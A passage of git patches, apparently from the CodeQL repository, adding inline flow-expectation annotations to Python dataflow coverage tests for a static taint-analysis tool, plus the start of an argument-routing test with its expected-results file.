b/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql new file mode 100644 index 00000000000..ec171dcd9fd --- /dev/null +++ b/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql @@ -0,0 +1 @@ +import experimental.dataflow.FlowTestUtil.MaximalFlowTest diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index cddb88f5ccb..ab7b9f02405 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -41,7 +41,7 @@ def SINK_F(x): def test_tuple_with_local_flow(): x = (NONSOURCE, SOURCE) y = x[1] - SINK(y) + SINK(y) #$ flow="ControlFlowNode for SOURCE, l:42 -> ControlFlowNode for y" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for y" def test_tuple_negative(): @@ -53,45 +53,45 @@ def test_tuple_negative(): # 6.2.1. Identifiers (Names) def test_names(): x = SOURCE - SINK(x) + SINK(x) #$ flow="ControlFlowNode for SOURCE, l:55 -> ControlFlowNode for x" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" # 6.2.2. Literals def test_string_literal(): x = "source" - SINK(x) + SINK(x) #$ flow="ControlFlowNode for Str, l:61 -> ControlFlowNode for x" def test_bytes_literal(): x = b"source" - SINK(x) + SINK(x) #$ flow="ControlFlowNode for Str, l:66 -> ControlFlowNode for x" def test_integer_literal(): x = 42 - SINK(x) + SINK(x) #$ flow="ControlFlowNode for IntegerLiteral, l:71 -> ControlFlowNode for x" def test_floatnumber_literal(): x = 42.0 - SINK(x) + SINK(x) #$ flow="ControlFlowNode for FloatLiteral, l:76 -> ControlFlowNode for x" def test_imagnumber_literal(): x = 42j - SINK(x) # Flow missing + SINK(x) #$ MISSING:flow="ControlFlowNode for FloatLiteral, l:81 -> ControlFlowNode for x" # 6.2.3. Parenthesized forms def test_parenthesized_form(): x = (SOURCE) - SINK(x) + SINK(x) #$ flow="ControlFlowNode for SOURCE, l:87 -> ControlFlowNode for x" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" # 6.2.5. List displays def test_list_display(): x = [SOURCE] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:93 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_list_display_negative(): @@ -101,109 +101,109 @@ def test_list_display_negative(): def test_list_comprehension(): x = [SOURCE for y in [NONSOURCE]] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:103 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_list_comprehension_flow(): x = [y for y in [SOURCE]] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:108 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_list_comprehension_inflow(): l = [SOURCE] x = [y for y in l] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:113 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_nested_list_display(): x = [*[SOURCE]] - SINK(x[0]) # Flow missing + SINK(x[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:119 -> ControlFlowNode for Subscript" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" # 6.2.6. Set displays def test_set_display(): x = {SOURCE} - SINK(x.pop()) + SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:125 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_set_comprehension(): x = {SOURCE for y in [NONSOURCE]} - SINK(x.pop()) + SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:130 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_set_comprehension_flow(): x = {y for y in [SOURCE]} - SINK(x.pop()) + SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:135 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_set_comprehension_inflow(): l = {SOURCE} x = {y for y in l} - SINK(x.pop()) + SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:140 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_nested_set_display(): x = {*{SOURCE}} - SINK(x.pop()) # Flow missing + SINK(x.pop()) #$ MISSING:flow="ControlFlowNode for SOURCE, l:146 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" # 6.2.7. Dictionary displays def test_dict_display(): x = {"s": SOURCE} - SINK(x["s"]) + SINK(x["s"]) #$ flow="ControlFlowNode for SOURCE, l:152 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_dict_display_pop(): x = {"s": SOURCE} - SINK(x.pop("s")) + SINK(x.pop("s")) #$ flow="ControlFlowNode for SOURCE, l:157 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_dict_comprehension(): x = {y: SOURCE for y in ["s"]} - SINK(x["s"]) # Flow missing + SINK(x["s"]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:152 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_dict_comprehension_pop(): x = {y: SOURCE for y in ["s"]} - SINK(x.pop("s")) # Flow missing + SINK(x.pop("s")) #$ MISSING:flow="ControlFlowNode for SOURCE, l:167 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_nested_dict_display(): x = {**{"s": SOURCE}} - SINK(x["s"]) # Flow missing + SINK(x["s"]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:172 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_nested_dict_display_pop(): x = {**{"s": SOURCE}} - SINK(x.pop("s")) # Flow missing + SINK(x.pop("s")) #$ MISSING:flow="ControlFlowNode for SOURCE, l:177 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" # Nested comprehensions def test_nested_comprehension(): x = [y for z in [[SOURCE]] for y in z] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:183 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_nested_comprehension_deep_with_local_flow(): x = [y for v in [[[[SOURCE]]]] for u in v for z in u for y in z] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:188 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_nested_comprehension_dict(): d = {"s": [SOURCE]} x = [y for k, v in d.items() for y in v] - SINK(x[0]) # Flow missing + SINK(x[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:193 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_nested_comprehension_paren(): x = [y for y in (z for z in [SOURCE])] - SINK(x[0]) + SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:199 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" # 6.2.8. Generator expressions def test_generator(): x = (SOURCE for y in [NONSOURCE]) - SINK([*x][0]) # Flow missing + SINK([*x][0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:205 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" # 6.2.9. Yield expressions @@ -213,7 +213,7 @@ def gen(x): def test_yield(): g = gen(SOURCE) - SINK(next(g)) # Flow missing + SINK(next(g)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:215 -> ControlFlowNode for next()" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for next()" def gen_from(x): @@ -222,19 +222,19 @@ def gen_from(x): def test_yield_from(): g = gen_from(SOURCE) - SINK(next(g)) # Flow missing + SINK(next(g)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:224 -> ControlFlowNode for next()" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for next()" # a statement rather than an expression, but related to generators def test_for(): for x in gen(SOURCE): - SINK(x) # Flow missing + SINK(x) #$ MISSING:flow="ControlFlowNode for SOURCE, l:230 -> ControlFlowNode for x" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" # 6.2.9.1. Generator-iterator methods def test___next__(): g = gen(SOURCE) - SINK(g.__next__()) # Flow missing + SINK(g.__next__()) #$ MISSING:flow="ControlFlowNode for SOURCE, l:236 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def gen2(x): @@ -246,7 +246,7 @@ def gen2(x): def test_send(): g = gen2(NONSOURCE) n = next(g) - SINK(g.send(SOURCE)) # Flow missing + SINK(g.send(SOURCE)) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def gen_ex(x): @@ -259,7 +259,7 @@ def gen_ex(x): def test_throw(): g = gen_ex(SOURCE) n = next(g) - SINK(g.throw(TypeError)) # Flow missing + SINK(g.throw(TypeError)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:260 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" # no `test_close` as `close` involves no data flow @@ -280,7 +280,7 @@ def runa(a): async def atest___anext__(): g = agen(SOURCE) - SINK(await g.__anext__()) # Flow missing + SINK(await g.__anext__()) #$ MISSING:flow="ControlFlowNode for SOURCE, l:282 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test___anext__(): @@ -296,7 +296,7 @@ async def agen2(x): async def atest_asend(): g = agen2(NONSOURCE) n = await g.__anext__() - SINK(await g.asend(SOURCE)) # Flow missing + SINK(await g.asend(SOURCE)) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_asend(): @@ -313,7 +313,7 @@ async def agen_ex(x): async def atest_athrow(): g = agen_ex(SOURCE) n = await g.__anext__() - SINK(await g.athrow(TypeError)) # Flow missing + SINK(await g.athrow(TypeError)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:314 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" def test_athrow(): @@ -326,22 +326,22 @@ class C: def test_attribute_reference(): - SINK(C.a) # Flow missing + SINK(C.a) #$ MISSING:flow="ControlFlowNode for SOURCE, l:325 -> ControlFlowNode for Attribute" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute" # overriding __getattr__ should be tested by the class coverage tests # 6.3.2. Subscriptions def test_subscription_tuple(): - SINK((SOURCE,)[0]) + SINK((SOURCE,)[0]) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_subscription_list(): - SINK([SOURCE][0]) + SINK([SOURCE][0]) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" def test_subscription_mapping(): - SINK({"s": SOURCE}["s"]) + SINK({"s": SOURCE}["s"]) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" # overriding __getitem__ should be tested by the class coverage tests @@ -353,7 +353,7 @@ l = [SOURCE] def test_slicing(): s = l[0:1:1] - SINK(s[0]) # Flow missing + SINK(s[0]) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" # The grammar seems to allow `l[0:1:1, 0:1]`, but the interpreter does not like it @@ -364,7 +364,7 @@ def second(a, b): def test_call_positional(): - SINK(second(NONSOURCE, SOURCE)) + SINK(second(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def test_call_positional_negative(): @@ -372,15 +372,15 @@ def test_call_positional_negative(): def test_call_keyword(): - SINK(second(NONSOURCE, b=SOURCE)) + SINK(second(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def test_call_unpack_iterable(): - SINK(second(NONSOURCE, *[SOURCE])) # Flow missing + SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def test_call_unpack_mapping(): - SINK(second(NONSOURCE, **{"b": SOURCE})) + SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def f_extra_pos(a, *b): @@ -388,7 +388,7 @@ def f_extra_pos(a, *b): def test_call_extra_pos(): - SINK(f_extra_pos(NONSOURCE, SOURCE)) + SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_pos()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_pos()" def f_extra_keyword(a, **b): @@ -396,7 +396,7 @@ def f_extra_keyword(a, **b): def test_call_extra_keyword(): - SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) + SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" # return the name of the first extra keyword argument @@ -406,18 +406,18 @@ def f_extra_keyword_flow(**a): # call the function with our source as the name of the keyword arguemnt def test_call_extra_keyword_flow(): - SINK(f_extra_keyword_flow(**{SOURCE: None})) # Flow missing + SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" # 6.12. Assignment expressions def test_assignment_expression(): x = NONSOURCE - SINK(x := SOURCE) # Flow missing + SINK(x := SOURCE) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for x" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" # 6.13. Conditional expressions def test_conditional_true(): - SINK(SOURCE if True else NONSOURCE) + SINK(SOURCE if True else NONSOURCE) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" def test_conditional_true_guards(): @@ -425,7 +425,7 @@ def test_conditional_true_guards(): def test_conditional_false(): - SINK(NONSOURCE if False else SOURCE) + SINK(NONSOURCE if False else SOURCE) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" def test_conditional_false_guards(): @@ -435,13 +435,13 @@ def test_conditional_false_guards(): # Condition is evaluated first, so x is SOURCE once chosen def test_conditional_evaluation_true(): x = NONSOURCE - SINK(x if (SOURCE == (x := SOURCE)) else NONSOURCE) # Flow missing + SINK(x if (SOURCE == (x := SOURCE)) else NONSOURCE) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" # Condition is evaluated first, so x is SOURCE once chosen def test_conditional_evaluation_false(): x = NONSOURCE - SINK(NONSOURCE if (NONSOURCE == (x := SOURCE)) else x) # Flow missing + SINK(NONSOURCE if (NONSOURCE == (x := SOURCE)) else x) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" # 6.14. Lambdas @@ -449,14 +449,14 @@ def test_lambda(): def f(x): return x - SINK(f(SOURCE)) + SINK(f(SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f()" def test_lambda_positional(): def second(a, b): return b - SINK(second(NONSOURCE, SOURCE)) + SINK(second(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def test_lambda_positional_negative(): @@ -470,50 +470,50 @@ def test_lambda_keyword(): def second(a, b): return b - SINK(second(NONSOURCE, b=SOURCE)) + SINK(second(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def test_lambda_unpack_iterable(): def second(a, b): return b - SINK(second(NONSOURCE, *[SOURCE])) # Flow missing + SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" # Flow missing def test_lambda_unpack_mapping(): def second(a, b): return b - SINK(second(NONSOURCE, **{"b": SOURCE})) + SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" def test_lambda_extra_pos(): f_extra_pos = lambda a, *b: b[0] - SINK(f_extra_pos(NONSOURCE, SOURCE)) + SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_pos()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_pos()" def test_lambda_extra_keyword(): f_extra_keyword = lambda a, **b: b["b"] - SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) + SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" # call the function with our source as the name of the keyword argument def test_lambda_extra_keyword_flow(): # return the name of the first extra keyword argument f_extra_keyword_flow = lambda **a: [*a][0] - SINK(f_extra_keyword_flow(**{SOURCE: None})) # Flow missing + SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" @expects(4) def test_swap(): a = SOURCE b = NONSOURCE - SINK(a) + SINK(a) #$ flow="ControlFlowNode for SOURCE, l:509 -> ControlFlowNode for a" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for a" SINK_F(b) a, b = b, a SINK_F(a) - SINK(b) + SINK(b) #$ flow="ControlFlowNode for SOURCE, l:509 -> ControlFlowNode for b" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for b" def test_deep_callgraph(): @@ -538,7 +538,7 @@ def test_deep_callgraph(): return f5(arg) x = f6(SOURCE) - SINK(x) # Flow missing + SINK(x) #$ MISSING:flow="ControlFlowNode for SOURCE, l:540 -> ControlFlowNode for x" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" @expects(2) @@ -547,7 +547,7 @@ def test_dynamic_tuple_creation_1(): tup += (SOURCE,) tup += (NONSOURCE,) - SINK(tup[0]) # Flow missing + SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:547 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" SINK_F(tup[1]) @@ -557,7 +557,7 @@ def test_dynamic_tuple_creation_2(): tup += (SOURCE,) tup += (NONSOURCE,) - SINK(tup[0]) # Flow missing + SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:557 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" SINK_F(tup[1]) @@ -567,7 +567,7 @@ def test_dynamic_tuple_creation_3(): tup2 = (NONSOURCE,) tup = tup1 + tup2 - SINK(tup[0]) # Flow missing + SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:566 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" SINK_F(tup[1]) @@ -578,5 +578,5 @@ def test_dynamic_tuple_creation_4(): for item in [SOURCE, NONSOURCE]: tup += (item,) - SINK(tup[0]) # Flow missing + SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:578 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" SINK_F(tup[1]) From 4fe2576b9ab6d6ca6daec333ba7a10f9a3d6806e Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Thu, 12 Nov 2020 22:43:34 +0100 Subject: [PATCH 0010/1241] Python: start modernizing routing tests --- .../dataflow/coverage/argumentPassing.py | 34 ++++---- .../coverage/argumentRoutingTest.expected | 32 +++++++ .../dataflow/coverage/argumentRoutingTest.ql | 83 +++++++++++++++++++ 3 files changed, 132 insertions(+), 17 deletions(-) create mode 100644 python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected create mode 100644 python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index c1efdd1d28f..38f3123fab5 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -72,8 +72,8 @@ def argument_passing( f, **g, ): - SINK1(a) - SINK2(b) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:89 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:94 -> ControlFlowNode for a" + SINK2(b) #$ arg2="ControlFlowNode for arg2, l:94 -> ControlFlowNode for b" MISSING:arg2="ControlFlowNode for arg2, l:89 -> ControlFlowNode for b" SINK3(c) SINK4(d) SINK5(e) @@ -95,8 +95,8 @@ def test_argument_passing2(): def with_pos_only(a, /, b): - SINK1(a) - SINK2(b) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:104 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:105 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:106 -> ControlFlowNode for a" + SINK2(b) #$ arg2="ControlFlowNode for arg2, l:104 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:105 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:106 -> ControlFlowNode for b" @expects(6) @@ -107,8 +107,8 @@ def test_pos_only(): def with_multiple_kw_args(a, b, c): - SINK1(a) - SINK2(b) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:117 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:118 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:119 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:120 -> ControlFlowNode for a" + SINK2(b) #$ arg2="ControlFlowNode for arg2, l:117 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:120 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:118 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:119 -> ControlFlowNode for b" SINK3(c) @@ -121,8 +121,8 @@ def test_multiple_kw_args(): def with_default_arguments(a=arg1, b=arg2, c=arg3): - SINK1(a) - SINK2(b) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:132 -> ControlFlowNode for a" MISSING:arg1="ControlFlowNode for arg1, l:123 -> ControlFlowNode for a" + SINK2(b) #$ arg2="ControlFlowNode for arg2, l:133 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:123 -> ControlFlowNode for b" SINK3(c) @@ -136,14 +136,14 @@ def test_default_arguments(): # Nested constructor pattern def grab_foo_bar_baz(foo, **kwargs): - SINK1(foo) + SINK1(foo) #$ arg1="ControlFlowNode for arg1, l:160 -> ControlFlowNode for foo" grab_bar_baz(**kwargs) # It is not possible to pass `bar` into `kwargs`, # since `bar` is a valid keyword argument. def grab_bar_baz(bar, **kwargs): - SINK2(bar) + SINK2(bar) #$ arg2="ControlFlowNode for arg2, l:160 -> ControlFlowNode for bar" try: SINK2_F(kwargs["bar"]) except: @@ -163,14 +163,14 @@ def test_grab(): # All combinations def test_pos_pos(): def with_pos(a): - SINK1(a) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:168 -> ControlFlowNode for a" with_pos(arg1) def test_pos_pos_only(): def with_pos_only(a, /): - SINK1(a) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:175 -> ControlFlowNode for a" with_pos_only(arg1) @@ -178,34 +178,34 @@ def test_pos_pos_only(): def test_pos_star(): def with_star(*a): if len(a) > 0: - SINK1(a[0]) + SINK1(a[0]) #$ arg1="ControlFlowNode for arg1, l:183 -> ControlFlowNode for Subscript" with_star(arg1) def test_pos_kw(): def with_kw(a=""): - SINK1(a) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:190 -> ControlFlowNode for a" with_kw(arg1) def test_kw_pos(): def with_pos(a): - SINK1(a) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:197 -> ControlFlowNode for a" with_pos(a=arg1) def test_kw_kw(): def with_kw(a=""): - SINK1(a) + SINK1(a) #$ arg1="ControlFlowNode for arg1, l:204 -> ControlFlowNode for a" with_kw(a=arg1) def test_kw_doublestar(): def with_doublestar(**a): - SINK1(a["a"]) + SINK1(a["a"]) #$ arg1="ControlFlowNode for arg1, l:211 -> ControlFlowNode for Subscript" with_doublestar(a=arg1) diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected new file mode 100644 index 00000000000..5dfe0963387 --- /dev/null +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected @@ -0,0 +1,32 @@ +| classes.py:556:15:556:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:565 -> ControlFlowNode for key" | +| classes.py:557:15:557:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_getitem, l:563 -> ControlFlowNode for self" | +| classes.py:572:15:572:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:581 -> ControlFlowNode for key" | +| classes.py:573:15:573:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_setitem, l:578 -> ControlFlowNode for self" | +| classes.py:587:15:587:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:595 -> ControlFlowNode for key" | +| classes.py:588:15:588:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_delitem, l:593 -> ControlFlowNode for self" | +| classes.py:658:15:658:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:667 -> ControlFlowNode for other" | +| classes.py:659:15:659:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_add, l:665 -> ControlFlowNode for self" | +| classes.py:673:15:673:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:682 -> ControlFlowNode for other" | +| classes.py:674:15:674:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_sub, l:680 -> ControlFlowNode for self" | +| classes.py:688:15:688:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:697 -> ControlFlowNode for other" | +| classes.py:689:15:689:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_mul, l:695 -> ControlFlowNode for self" | +| classes.py:703:15:703:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:712 -> ControlFlowNode for other" | +| classes.py:704:15:704:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_matmul, l:710 -> ControlFlowNode for self" | +| classes.py:718:15:718:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:727 -> ControlFlowNode for other" | +| classes.py:719:15:719:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_truediv, l:725 -> ControlFlowNode for self" | +| classes.py:733:15:733:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:742 -> ControlFlowNode for other" | +| classes.py:734:15:734:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_floordiv, l:740 -> ControlFlowNode for self" | +| classes.py:748:15:748:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:757 -> ControlFlowNode for other" | +| classes.py:749:15:749:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_mod, l:755 -> ControlFlowNode for self" | +| classes.py:778:15:778:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:793 -> ControlFlowNode for other" | +| classes.py:779:15:779:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_pow, l:791 -> ControlFlowNode for self" | +| 